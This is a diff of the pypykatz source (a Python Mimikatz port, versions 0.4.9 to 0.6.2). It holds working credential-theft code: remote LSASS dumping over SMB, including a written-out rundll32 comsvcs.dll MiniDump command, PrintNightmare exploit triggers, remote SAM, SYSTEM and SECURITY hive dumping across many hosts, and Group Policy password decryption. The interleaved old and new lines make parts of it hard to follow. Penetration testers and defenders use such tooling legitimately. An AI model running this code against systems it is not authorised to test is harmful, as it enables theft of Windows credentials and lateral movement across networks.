109 | ||
110 | if len(workers) > 0: | |
111 | tres = await asyncio.gather(*workers) | |
112 | for res in tres: | |
113 | yield res | |
114 | workers = [] | |
115 | ||
116 | ||
117 | async def lsassdump_single(targetid, connection, method = 'task', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']): | |
118 | try: | |
119 | from aiosmb.commons.exceptions import SMBException | |
120 | from aiosmb.wintypes.ntstatus import NTStatus | |
121 | from aiosmb.commons.interfaces.machine import SMBMachine | |
122 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
123 | from aiosmb.commons.interfaces.file import SMBFile | |
124 | from pypykatz.apypykatz import apypykatz | |
125 | ||
126 | if remote_base_path.endswith('\\') is False: | |
127 | remote_base_path += '\\' | |
128 | ||
129 | if remote_share_name.endswith('\\') is False: | |
130 | remote_share_name += '\\' | |
131 | ||
132 | fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex()) | |
133 | filepath = remote_base_path + fname | |
134 | filesharepath = remote_share_name + fname | |
135 | ||
136 | if method == 'task': | |
137 | cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath) | |
138 | commands = [cmd] | |
139 | ||
140 | elif method == 'service': | |
141 | cmd = '' | |
142 | ||
143 | else: | |
144 | raise Exception('Unknown execution method %s' % method) | |
145 | ||
146 | mimi = None | |
147 | async with connection: | |
148 | logger.debug('[LSASSDUMP][%s] Connecting to server...' % targetid) | |
149 | _, err = await connection.login() | |
150 | if err is not None: | |
151 | raise err | |
152 | logger.debug('[LSASSDUMP][%s] Connected!' % targetid) | |
153 | async with SMBMachine(connection) as machine: | |
154 | if method == 'task': | |
155 | logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid) | |
156 | smbfile_inner, err = await machine.task_dump_lsass() | |
157 | ||
158 | if err is not None: | |
159 | raise err | |
160 | ||
161 | smbfile = SMBFileReader(smbfile_inner) | |
162 | ||
163 | #logger.debug('[LSASSDUMP][%s] Start dumping LSASS with taskexec method!' % targetid) | |
164 | #logger.info('[LSASSDUMP][%s] File location: %s' % (targetid,filepath)) | |
165 | #_, err = await machine.tasks_execute_commands(commands) | |
166 | #if err is not None: | |
167 | # raise err | |
168 | # | |
169 | #logger.debug('[LSASSDUMP][%s] Opening LSASS dump file...' % targetid) | |
170 | #for _ in range(5): | |
171 | # logger.debug('[LSASSDUMP][%s] Sleeping a bit to let the remote host finish dumping' % targetid) | |
172 | # await asyncio.sleep(5) | |
173 | # smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath)) | |
174 | # _, err = await smbfile.open(connection) | |
175 | # if err is not None: | |
176 | # if isinstance(err, SMBException): | |
177 | # if err.ntstatus == NTStatus.SHARING_VIOLATION: | |
178 | # logger.debug('[LSASSDUMP][%s] LSASS dump is not yet ready, retrying...' % targetid) | |
179 | # #await asyncio.sleep(1) | |
180 | # continue | |
181 | # raise err | |
182 | # break | |
183 | #else: | |
184 | # raise err | |
185 | ||
186 | ||
187 | ||
188 | elif method == 'service': | |
189 | logger.debug('[LSASSDUMP][%s] Start dumping LSASS with serviceexec method!' % targetid) | |
190 | smbfile_inner, err = await machine.service_dump_lsass() | |
191 | ||
192 | if err is not None: | |
193 | raise err | |
194 | smbfile = SMBFileReader(smbfile_inner) | |
195 | ||
196 | else: | |
197 | raise Exception('Unknown execution method %s' % method) | |
198 | ||
199 | logger.debug('[LSASSDUMP][%s] LSASS dump file opened!' % targetid) | |
200 | logger.debug('[LSASSDUMP][%s] parsing LSASS dump file on the remote host...' % targetid) | |
201 | mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages) | |
202 | ||
203 | logger.debug('[LSASSDUMP][%s] parsing OK!' % targetid) | |
204 | logger.debug('[LSASSDUMP][%s] Deleting remote dump file...' % targetid) | |
205 | _, err = await smbfile.delete() | |
206 | if err is not None: | |
207 | print('[%s] Failed to delete LSASS file! Reason: %s' % (targetid, err)) | |
208 | else: | |
209 | print('[%s] Remote LSASS file deleted OK!' % targetid) | |
57 | 210 | |
58 | else: | |
59 | raise Exception('Unknown execution method %s' % method) | |
60 | ||
61 | mimi = None | |
62 | async with connection: | |
63 | logging.debug('[LSASSDUMP] Connecting to server...') | |
64 | _, err = await connection.login() | |
65 | if err is not None: | |
66 | raise err | |
67 | logging.debug('[LSASSDUMP] Connected!') | |
68 | async with SMBMachine(connection) as machine: | |
69 | if method == 'taskexec': | |
70 | logging.debug('[LSASSDUMP] Start dumping LSASS with taskexec method!') | |
71 | logging.info('[LSASSDUMP] File location: %s' % filepath) | |
72 | _, err = await machine.tasks_execute_commands(commands) | |
73 | if err is not None: | |
74 | raise err | |
75 | ||
76 | logging.debug('[LSASSDUMP] Sleeping a bit to let the remote host finish dumping') | |
77 | await asyncio.sleep(10) | |
78 | ||
79 | else: | |
80 | raise Exception('Unknown execution method %s' % method) | |
81 | ||
82 | logging.debug('[LSASSDUMP] Opening LSASS dump file...') | |
83 | for _ in range(3): | |
84 | smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath)) | |
85 | _, err = await smbfile.open(connection) | |
86 | if err is not None: | |
87 | if isinstance(err, SMBException): | |
88 | if err.ntstatus == NTStatus.SHARING_VIOLATION: | |
89 | logging.debug('[LSASSDUMP] LSASS dump is not yet ready, retrying...') | |
90 | await asyncio.sleep(1) | |
91 | continue | |
92 | raise err | |
93 | break | |
94 | else: | |
95 | raise err | |
96 | ||
97 | logging.debug('[LSASSDUMP] LSASS dump file opened!') | |
98 | logging.debug('[LSASSDUMP] parsing LSASS dump file on the remote host...') | |
99 | mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages) | |
100 | ||
101 | logging.debug('[LSASSDUMP] parsing OK!') | |
102 | logging.debug('[LSASSDUMP] Deleting remote dump file...') | |
103 | _, err = await smbfile.delete() | |
104 | if err is not None: | |
105 | logging.info('[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err) | |
106 | else: | |
107 | logging.info('[LSASSDUMP] remote LSASS file deleted OK!') | |
108 | ||
109 | return mimi⏎ | |
211 | return targetid, mimi, None | |
212 | except Exception as e: | |
213 | import traceback | |
214 | traceback.print_exc() | |
215 | return targetid, None, e⏎ |
0 | import asyncio | |
1 | import os | |
2 | ||
3 | from pypykatz import logger | |
4 | ||
5 | async def printnightmare(url, dll_path, driverpath = None): | |
6 | try: | |
7 | from aiosmb.commons.connection.factory import SMBConnectionFactory | |
8 | from aiosmb.commons.interfaces.machine import SMBMachine | |
9 | ||
10 | smburl = SMBConnectionFactory.from_url(url) | |
11 | connection = smburl.get_connection() | |
12 | ||
13 | async with connection: | |
14 | logger.debug('[PRINTNIGHTMARE] Connecting to server...') | |
15 | _, err = await connection.login() | |
16 | if err is not None: | |
17 | raise err | |
18 | ||
19 | machine = SMBMachine(connection) | |
20 | logger.debug('[PRINTNIGHTMARE] Connected!') | |
21 | logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...') | |
22 | _, err = await machine.printnightmare(dll_path, driverpath) | |
23 | if err is not None: | |
24 | raise err | |
25 | logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!') | |
26 | return True, None | |
27 | except Exception as e: | |
28 | import traceback | |
29 | traceback.print_exc() | |
30 | return None, e | |
31 | ||
32 | async def parprintnightmare(url, dll_path, driverpath = None): | |
33 | try: | |
34 | from aiosmb.commons.connection.factory import SMBConnectionFactory | |
35 | from aiosmb.commons.interfaces.machine import SMBMachine | |
36 | ||
37 | smburl = SMBConnectionFactory.from_url(url) | |
38 | connection = smburl.get_connection() | |
39 | ||
40 | async with connection: | |
41 | logger.debug('[PARPRINTNIGHTMARE] Connecting to server...') | |
42 | _, err = await connection.login() | |
43 | if err is not None: | |
44 | raise err | |
45 | ||
46 | machine = SMBMachine(connection) | |
47 | logger.debug('[PARPRINTNIGHTMARE] Connected!') | |
48 | logger.debug('[PARPRINTNIGHTMARE] Triggering parprintnightmare...') | |
49 | _, err = await machine.par_printnightmare(dll_path, driverpath) | |
50 | if err is not None: | |
51 | raise err | |
52 | logger.debug('[PARPRINTNIGHTMARE] Parprintnightmare finished OK!') | |
53 | return True, None | |
54 | except Exception as e: | |
55 | import traceback | |
56 | traceback.print_exc() | |
57 | return None, e⏎ |
1 | 1 | import asyncio |
2 | 2 | import os |
3 | 3 | |
4 | from pypykatz import logging | |
5 | ||
6 | async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3): | |
7 | from aiosmb.commons.connection.url import SMBConnectionURL | |
8 | from aiosmb.commons.interfaces.machine import SMBMachine | |
9 | from aiosmb.commons.interfaces.file import SMBFile | |
10 | from aiosmb.dcerpc.v5.common.service import SMBServiceStatus | |
11 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
12 | from pypykatz.registry.aoffline_parser import OffineRegistry | |
13 | ||
4 | from pypykatz import logger | |
5 | from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen | |
6 | ||
7 | ||
8 | async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3, targets = [], worker_cnt = 5): | |
9 | from aiosmb.commons.connection.factory import SMBConnectionFactory | |
14 | 10 | |
15 | ||
16 | smburl = SMBConnectionURL(url) | |
17 | connection = smburl.get_connection() | |
18 | if remote_base_path.endswith('\\') is False: | |
19 | remote_base_path += '\\' | |
20 | ||
21 | if remote_share_name.endswith('\\') is False: | |
22 | remote_share_name += '\\' | |
23 | ||
24 | po = None | |
25 | ||
26 | async with connection: | |
27 | logging.debug('[REGDUMP] Connecting to server...') | |
28 | _, err = await connection.login() | |
29 | if err is not None: | |
30 | raise err | |
31 | ||
32 | logging.debug('[REGDUMP] Connected to server!') | |
33 | async with SMBMachine(connection) as machine: | |
34 | logging.debug('[REGDUMP] Checking remote registry service status...') | |
35 | status, err = await machine.check_service_status('RemoteRegistry') | |
36 | if err is not None: | |
37 | raise err | |
38 | ||
39 | logging.debug('[REGDUMP] Remote registry service status: %s' % status.name) | |
40 | if status != SMBServiceStatus.RUNNING: | |
41 | logging.debug('[REGDUMP] Enabling Remote registry service') | |
42 | _, err = await machine.enable_service('RemoteRegistry') | |
11 | base_url = None | |
12 | base_conn = None | |
13 | mimis = [] | |
14 | workers = [] | |
15 | ||
16 | tgens = [] | |
17 | if targets is not None and len(targets) != 0: | |
18 | notfile = [] | |
19 | if targets is not None: | |
20 | for target in targets: | |
21 | try: | |
22 | f = open(target, 'r') | |
23 | f.close() | |
24 | tgens.append(FileTargetGen(target)) | |
25 | except: | |
26 | notfile.append(target) | |
27 | ||
28 | if len(notfile) > 0: | |
29 | tgens.append(ListTargetGen(notfile)) | |
30 | ||
31 | if isinstance(url, SMBConnectionFactory): | |
32 | base_url = url | |
33 | base_conn = url.get_connection() | |
34 | else: | |
35 | base_url = SMBConnectionFactory.from_url(url) | |
36 | base_conn = base_url.get_connection() | |
37 | ||
38 | regdump_coro = regdump_single( | |
39 | base_conn.target.get_hostname_or_ip(), | |
40 | base_conn, | |
41 | hives = hives, | |
42 | remote_base_path = remote_base_path, | |
43 | remote_share_name = remote_share_name, | |
44 | enable_wait = enable_wait | |
45 | ) | |
46 | workers.append(regdump_coro) | |
47 | ||
48 | for tgen in tgens: | |
49 | async for _, target, err in tgen.generate(): | |
50 | tconn = base_url.create_connection_newtarget(target) | |
51 | regdump_coro = regdump_single( | |
52 | tconn.target.get_hostname_or_ip(), | |
53 | tconn, | |
54 | hives = hives, | |
55 | remote_base_path = remote_base_path, | |
56 | remote_share_name = remote_share_name, | |
57 | enable_wait = enable_wait | |
58 | ) | |
59 | workers.append(regdump_coro) | |
60 | if len(workers) >= worker_cnt: | |
61 | tres = await asyncio.gather(*workers) | |
62 | for res in tres: | |
63 | yield res | |
64 | workers = [] | |
65 | ||
66 | if len(workers) > 0: | |
67 | tres = await asyncio.gather(*workers) | |
68 | for res in tres: | |
69 | yield res | |
70 | workers = [] | |
71 | ||
72 | ||
73 | async def regdump_single(targetid, connection, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3): | |
74 | try: | |
75 | from aiosmb.commons.interfaces.machine import SMBMachine | |
76 | from aiosmb.commons.interfaces.file import SMBFile | |
77 | from aiosmb.dcerpc.v5.common.service import SMBServiceStatus | |
78 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
79 | from pypykatz.registry.aoffline_parser import OffineRegistry | |
80 | ||
81 | ||
82 | if remote_base_path.endswith('\\') is False: | |
83 | remote_base_path += '\\' | |
84 | ||
85 | if remote_share_name.endswith('\\') is False: | |
86 | remote_share_name += '\\' | |
87 | ||
88 | po = None | |
89 | ||
90 | async with connection: | |
91 | logger.debug('[REGDUMP] Connecting to server...') | |
92 | _, err = await connection.login() | |
93 | if err is not None: | |
94 | raise err | |
95 | ||
96 | logger.debug('[REGDUMP] Connected to server!') | |
97 | async with SMBMachine(connection) as machine: | |
98 | logger.debug('[REGDUMP] Checking remote registry service status...') | |
99 | status, err = await machine.check_service_status('RemoteRegistry') | |
43 | 100 | if err is not None: |
44 | 101 | raise err |
45 | logging.debug('[REGDUMP] Starting Remote registry service') | |
46 | _, err = await machine.start_service('RemoteRegistry') | |
47 | if err is not None: | |
48 | raise err | |
49 | ||
50 | await asyncio.sleep(enable_wait) | |
51 | ||
52 | ||
53 | ||
54 | logging.debug('[REGDUMP] Remote registry service should be running now...') | |
55 | files = {} | |
56 | for hive in hives: | |
57 | fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) | |
58 | remote_path = remote_base_path + fname | |
59 | remote_sharepath = remote_share_name + fname | |
60 | remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath)) | |
61 | files[hive.split('\\')[1].upper()] = remote_file | |
62 | ||
63 | logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) | |
64 | _, err = await machine.save_registry_hive(hive, remote_path) | |
65 | if err is not None: | |
66 | raise err | |
67 | ||
68 | #await asyncio.sleep(1) | |
69 | for rfilename in files: | |
70 | rfile = files[rfilename] | |
71 | logging.debug('[REGDUMP] Opening reghive file %s' % rfilename) | |
72 | _, err = await rfile.open(connection) | |
73 | if err is not None: | |
74 | raise err | |
75 | ||
76 | try: | |
77 | logging.debug('[REGDUMP] Parsing hives...') | |
78 | po = await OffineRegistry.from_async_reader( | |
79 | files['SYSTEM'], | |
80 | sam_reader = files.get('SAM'), | |
81 | security_reader = files.get('SECURITY'), | |
82 | software_reader = files.get('SOFTWARE') | |
83 | ) | |
84 | except Exception as e: | |
85 | print(e) | |
86 | ||
87 | logging.debug('[REGDUMP] Hives parsed OK!') | |
88 | ||
89 | logging.debug('[REGDUMP] Deleting remote files...') | |
90 | err = None | |
91 | for rfilename in files: | |
92 | rfile = files[rfilename] | |
93 | err = await rfile.close() | |
94 | if err is not None: | |
95 | logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) | |
96 | ||
97 | _, err = await rfile.delete() | |
98 | if err is not None: | |
99 | logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) | |
100 | ||
101 | if err is None: | |
102 | logging.info('[REGDUMP] Deleting remote files OK!') | |
103 | return po | |
102 | ||
103 | logger.debug('[REGDUMP] Remote registry service status: %s' % status.name) | |
104 | if status != SMBServiceStatus.RUNNING: | |
105 | logger.debug('[REGDUMP] Enabling Remote registry service') | |
106 | _, err = await machine.enable_service('RemoteRegistry') | |
107 | if err is not None: | |
108 | raise err | |
109 | logger.debug('[REGDUMP] Starting Remote registry service') | |
110 | _, err = await machine.start_service('RemoteRegistry') | |
111 | if err is not None: | |
112 | raise err | |
113 | ||
114 | await asyncio.sleep(enable_wait) | |
115 | ||
116 | ||
117 | ||
118 | logger.debug('[REGDUMP] Remote registry service should be running now...') | |
119 | files = {} | |
120 | for hive in hives: | |
121 | fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex()) | |
122 | remote_path = remote_base_path + fname | |
123 | remote_sharepath = remote_share_name + fname | |
124 | remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath)) | |
125 | files[hive.split('\\')[1].upper()] = remote_file | |
126 | ||
127 | logger.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path)) | |
128 | _, err = await machine.save_registry_hive(hive, remote_path) | |
129 | if err is not None: | |
130 | raise err | |
131 | ||
132 | #await asyncio.sleep(1) | |
133 | for rfilename in files: | |
134 | rfile = files[rfilename] | |
135 | logger.debug('[REGDUMP] Opening reghive file %s' % rfilename) | |
136 | _, err = await rfile.open(connection) | |
137 | if err is not None: | |
138 | raise err | |
139 | ||
140 | try: | |
141 | logger.debug('[REGDUMP] Parsing hives...') | |
142 | po = await OffineRegistry.from_async_reader( | |
143 | files['SYSTEM'], | |
144 | sam_reader = files.get('SAM'), | |
145 | security_reader = files.get('SECURITY'), | |
146 | software_reader = files.get('SOFTWARE') | |
147 | ) | |
148 | except Exception as e: | |
149 | print(e) | |
150 | ||
151 | logger.debug('[REGDUMP] Hives parsed OK!') | |
152 | ||
153 | logger.debug('[REGDUMP] Deleting remote files...') | |
154 | err = None | |
155 | for rfilename in files: | |
156 | rfile = files[rfilename] | |
157 | err = await rfile.close() | |
158 | if err is not None: | |
159 | logger.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename) | |
160 | ||
161 | _, err = await rfile.delete() | |
162 | if err is not None: | |
163 | logger.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename) | |
164 | ||
165 | if err is None: | |
166 | logger.info('[REGDUMP] Deleting remote files OK!') | |
167 | ||
168 | return targetid, po, None | |
169 | except Exception as e: | |
170 | return targetid, None, e | |
104 | 171 | |
105 | 172 | |
106 | 173 | |
107 | 174 | async def regfile(url, system, sam = None, security = None, software = None, smb_basepath = None): |
108 | from aiosmb.commons.connection.url import SMBConnectionURL | |
175 | from aiosmb.commons.connection.factory import SMBConnectionFactory | |
109 | 176 | from aiosmb.commons.interfaces.file import SMBFile |
110 | 177 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader |
111 | 178 | from pypykatz.registry.aoffline_parser import OffineRegistry |
112 | 179 | |
113 | smburl = SMBConnectionURL(url) | |
180 | smburl = SMBConnectionFactory.from_url(url) | |
114 | 181 | connection = smburl.get_connection() |
115 | 182 | |
116 | 183 | if smb_basepath is None: |
141 | 208 | |
142 | 209 | po = None |
143 | 210 | async with connection: |
144 | logging.debug('[REGFILE] Connecting to server...') | |
211 | logger.debug('[REGFILE] Connecting to server...') | |
145 | 212 | _, err = await connection.login() |
146 | 213 | if err is not None: |
147 | 214 | raise err |
148 | 215 | |
149 | logging.debug('[REGFILE] Connected to server!') | |
150 | logging.debug('[REGFILE] Opening SYSTEM hive dump file...') | |
216 | logger.debug('[REGFILE] Connected to server!') | |
217 | logger.debug('[REGFILE] Opening SYSTEM hive dump file...') | |
151 | 218 | # parse files here |
152 | 219 | _, err = await system_smbfile.open(connection) |
153 | 220 | if err is not None: |
154 | 221 | raise err |
155 | 222 | |
156 | 223 | if sam_smbfile is not None: |
157 | logging.debug('[REGFILE] Opening SAM hive dump file...') | |
224 | logger.debug('[REGFILE] Opening SAM hive dump file...') | |
158 | 225 | _, err = await sam_smbfile.open(connection) |
159 | 226 | if err is not None: |
160 | 227 | raise err |
161 | 228 | |
162 | 229 | if security_smbfile is not None: |
163 | logging.debug('[REGFILE] Opening SECURITY hive dump file...') | |
230 | logger.debug('[REGFILE] Opening SECURITY hive dump file...') | |
164 | 231 | _, err = await security_smbfile.open(connection) |
165 | 232 | if err is not None: |
166 | 233 | raise err |
167 | 234 | |
168 | 235 | if software_smbfile is not None: |
169 | logging.debug('[REGFILE] Opening SOFTWARE hive dump file...') | |
236 | logger.debug('[REGFILE] Opening SOFTWARE hive dump file...') | |
170 | 237 | _, err = await software_smbfile.open(connection) |
171 | 238 | if err is not None: |
172 | 239 | raise err |
173 | 240 | |
174 | logging.debug('[REGFILE] All files opened OK!') | |
175 | logging.debug('[REGFILE] Parsing hive files...') | |
241 | logger.debug('[REGFILE] All files opened OK!') | |
242 | logger.debug('[REGFILE] Parsing hive files...') | |
176 | 243 | po = await OffineRegistry.from_async_reader(system_smbfile, sam_reader = sam_smbfile, security_reader = security_smbfile, software_reader = software_smbfile) |
177 | logging.debug('[REGFILE] Hive files parsed OK!') | |
244 | logger.debug('[REGFILE] Hive files parsed OK!') | |
178 | 245 | |
179 | 246 | return po⏎ |
0 | import asyncio | |
1 | import os | |
2 | ||
3 | from pypykatz import logging | |
4 | from msldap.commons.url import MSLDAPURLDecoder | |
0 | from msldap.commons.factory import LDAPConnectionFactory | |
5 | 1 | from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen |
6 | 2 | |
7 | 3 | def get_smb_url(authmethod = 'ntlm', protocol_version = '2', host = None): |
30 | 26 | |
31 | 27 | async def generate(self): |
32 | 28 | try: |
33 | conn_url = MSLDAPURLDecoder(self.url) | |
29 | conn_url = LDAPConnectionFactory.from_url(self.url) | |
34 | 30 | connection = conn_url.get_client() |
35 | 31 | _, err = await connection.connect() |
36 | 32 | if err is not None: |
54 | 50 | |
55 | 51 | |
56 | 52 | async def shareenum(smb_url, ldap_url = None, targets = None, smb_worker_count = 10, depth = 3, out_file = None, progress = False, max_items = None, dirsd = False, filesd = False, authmethod = 'ntlm', protocol_version = '2', output_type = 'str', max_runtime = None, exclude_share = ['print$'], exclude_dir = [], exclude_target = []): |
57 | from aiosmb.commons.connection.url import SMBConnectionURL | |
58 | from pypykatz.alsadecryptor.asbmfile import SMBFileReader | |
59 | from pypykatz.apypykatz import apypykatz | |
60 | 53 | |
61 | ||
62 | if targets is None and ldap_url is None: | |
63 | raise Exception('Shareenum needs a list of targets or LDAP connection string') | |
64 | ||
65 | 54 | if smb_url == 'auto': |
66 | 55 | smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version) |
67 | 56 | |
100 | 89 | enumerator.target_gens.append(LDAPTargetGen(ldap_url)) |
101 | 90 | |
102 | 91 | if len(enumerator.target_gens) == 0: |
103 | raise Exception('No suitable targets found!') | |
92 | enumerator.enum_url = True | |
93 | #raise Exception('No suitable targets found!') | |
104 | 94 | |
105 | 95 | await enumerator.run() |
6 | 6 | class CryptoCMDHelper: |
7 | 7 | def __init__(self): |
8 | 8 | self.live_keywords = [] |
9 | self.keywords = ['nt','lm','dcc','dcc2','gppass'] | |
9 | self.keywords = ['crypto'] | |
10 | 10 | |
11 | 11 | def add_args(self, parser, live_parser): |
12 | group = parser.add_parser('nt', help='Generates NT hash of the password') | |
12 | ||
13 | crypto_group = parser.add_parser('crypto', help='Utils for generating hashes/decrypting secrets etc') | |
14 | crypto_subparsers = crypto_group.add_subparsers() | |
15 | crypto_subparsers.required = True | |
16 | crypto_subparsers.dest = 'crypto_module' | |
17 | ||
18 | group = crypto_subparsers.add_parser('nt', help='Generates NT hash of the password') | |
13 | 19 | group.add_argument('password', help= 'Password to be hashed') |
14 | 20 | |
15 | group = parser.add_parser('lm', help='Generates LM hash of the password') | |
21 | group = crypto_subparsers.add_parser('lm', help='Generates LM hash of the password') | |
16 | 22 | group.add_argument('password', help= 'Password to be hashed') |
17 | 23 | |
18 | group = parser.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password') | |
24 | group = crypto_subparsers.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password') | |
19 | 25 | group.add_argument('username', help= 'username') |
20 | 26 | group.add_argument('password', help= 'Password to be hashed') |
21 | 27 | |
22 | group = parser.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password') | |
28 | group = crypto_subparsers.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password') | |
23 | 29 | group.add_argument('username', help= 'username') |
24 | 30 | group.add_argument('password', help= 'Password to be hashed') |
25 | 31 | group.add_argument('-i','--iteration-count', type = int, default=10240, help= 'iteration-count') |
26 | 32 | |
27 | group = parser.add_parser('gppass', help='Decrypt GP passwords') | |
33 | group = crypto_subparsers.add_parser('gppass', help='Decrypt GP passwords') | |
28 | 34 | group.add_argument('enc', help='Encrypted password string') |
29 | 35 | |
30 | 36 | def execute(self, args): |
31 | 37 | if args.command in self.keywords: |
32 | 38 | self.run(args) |
33 | 39 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: |
34 | self.run_live(args) | |
40 | raise Exception('There are no live commands for crypto.') | |
41 | #self.run_live(args) | |
35 | 42 | |
36 | 43 | def run(self, args): |
37 | 44 | from pypykatz.utils.crypto.winhash import NT, LM, MSDCC, MSDCCv2 |
38 | 45 | from pypykatz.utils.crypto.gppassword import gppassword |
39 | if args.command == 'nt': | |
46 | ||
47 | if args.crypto_module == 'nt': | |
40 | 48 | print(NT(args.password).hex()) |
41 | 49 | |
42 | elif args.command == 'lm': | |
50 | elif args.crypto_module == 'lm': | |
43 | 51 | print(LM(args.password).hex()) |
44 | 52 | |
45 | elif args.command == 'dcc': | |
53 | elif args.crypto_module == 'dcc': | |
46 | 54 | print(MSDCC(args.username, args.password).hex()) |
47 | 55 | |
48 | elif args.command == 'dcc2': | |
56 | elif args.crypto_module == 'dcc2': | |
49 | 57 | print(MSDCCv2(args.username, args.password, args.iteration_count).hex()) |
50 | 58 | |
51 | elif args.command == 'gppass': | |
59 | elif args.crypto_module == 'gppass': | |
52 | 60 | print(gppassword(args.enc)) |
53 | 61 | ⏎ |
0 | 0 | |
1 | 1 | import base64 |
2 | from pypykatz.crypto.unified.aes import AES | |
3 | from pypykatz.crypto.unified.common import SYMMETRIC_MODE | |
4 | from pypykatz.crypto.unified.pkcs7 import unpad as pkcs7_unpad | |
2 | from unicrypto.symmetric import AES, MODE_CBC | |
3 | from unicrypto.backends.pure.padding.pkcs7 import unpad as pkcs7_unpad | |
5 | 4 | |
6 | 5 | |
7 | 6 | def gppassword(pw_enc_b64): |
16 | 15 | |
17 | 16 | pw_enc = base64.b64decode(pw_enc_b64) |
18 | 17 | |
19 | ctx = AES(AES_KEY, mode = SYMMETRIC_MODE.CBC, iv = AES_IV) | |
18 | ctx = AES(AES_KEY, MODE_CBC, IV = AES_IV) | |
20 | 19 | pw_dec = pkcs7_unpad(ctx.decrypt(pw_enc)) |
21 | 20 | |
22 | 21 | return pw_dec.decode('utf-16-le') |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | 5 | |
6 | import hashlib | |
7 | from pypykatz.crypto.unified.des import DES, expand_DES_key | |
8 | from pypykatz.crypto.unified.pbkdf2 import pbkdf2 | |
6 | from unicrypto.symmetric import DES, expand_DES_key | |
7 | from unicrypto.pbkdf2 import pbkdf2 | |
8 | from unicrypto.hashlib import md4 as MD4 | |
9 | 9 | |
10 | 10 | def LM(password): |
11 | if password is None: | |
11 | if password is None or password == '': | |
12 | 12 | return bytes.fromhex('aad3b435b51404eeaad3b435b51404ee') |
13 | 13 | LM_SECRET = b'KGS!@#$%' |
14 | 14 | password_uppercase = password.upper() |
25 | 25 | return lm_hash |
26 | 26 | |
27 | 27 | def NT(password): |
28 | if password is None: | |
28 | if password is None or password == '': | |
29 | 29 | return bytes.fromhex('31d6cfe0d16ae931b73c59d7e0c089c0') |
30 | 30 | password_bytes = password.encode('utf-16-le') |
31 | md4 = hashlib.new('md4') | |
32 | md4.update(password_bytes) | |
33 | nt_hash = md4.digest() | |
34 | return nt_hash | |
31 | md4 = MD4(password_bytes) | |
32 | return md4.digest() | |
35 | 33 | |
36 | 34 | def MSDCC(username, password): |
37 | 35 | nt_hash_of_password = NT(password) |
38 | 36 | username_lower = username.lower() |
39 | 37 | username_bytes = username_lower.encode('utf-16-le') |
40 | md4 = hashlib.new('md4') | |
41 | md4.update(nt_hash_of_password) | |
42 | md4.update(username_bytes) | |
38 | md4 = MD4(nt_hash_of_password + username_bytes) | |
39 | #md4.update(nt_hash_of_password) | |
40 | #md4.update(username_bytes) | |
43 | 41 | dcc = md4.digest() |
44 | 42 | return dcc |
45 | 43 |
0 | Metadata-Version: 1.2 | |
0 | Metadata-Version: 2.1 | |
1 | 1 | Name: pypykatz |
2 | Version: 0.4.9 | |
2 | Version: 0.6.2 | |
3 | 3 | Summary: Python implementation of Mimikatz |
4 | 4 | Home-page: https://github.com/skelsec/pypykatz |
5 | 5 | Author: Tamas Jos |
6 | 6 | Author-email: [email protected] |
7 | License: UNKNOWN | |
8 | Description: UNKNOWN | |
9 | Platform: UNKNOWN | |
10 | 7 | Classifier: Programming Language :: Python :: 3.6 |
11 | 8 | Classifier: License :: OSI Approved :: MIT License |
12 | 9 | Classifier: Operating System :: OS Independent |
13 | 10 | Requires-Python: >=3.6 |
11 | License-File: LICENSE |
63 | 63 | pypykatz/commons/readers/__init__.py |
64 | 64 | pypykatz/commons/readers/local/__init__.py |
65 | 65 | pypykatz/commons/readers/local/live_reader.py |
66 | pypykatz/commons/readers/local/process.py | |
66 | 67 | pypykatz/commons/readers/local/common/__init__.py |
67 | 68 | pypykatz/commons/readers/local/common/advapi32.py |
68 | 69 | pypykatz/commons/readers/local/common/defines.py |
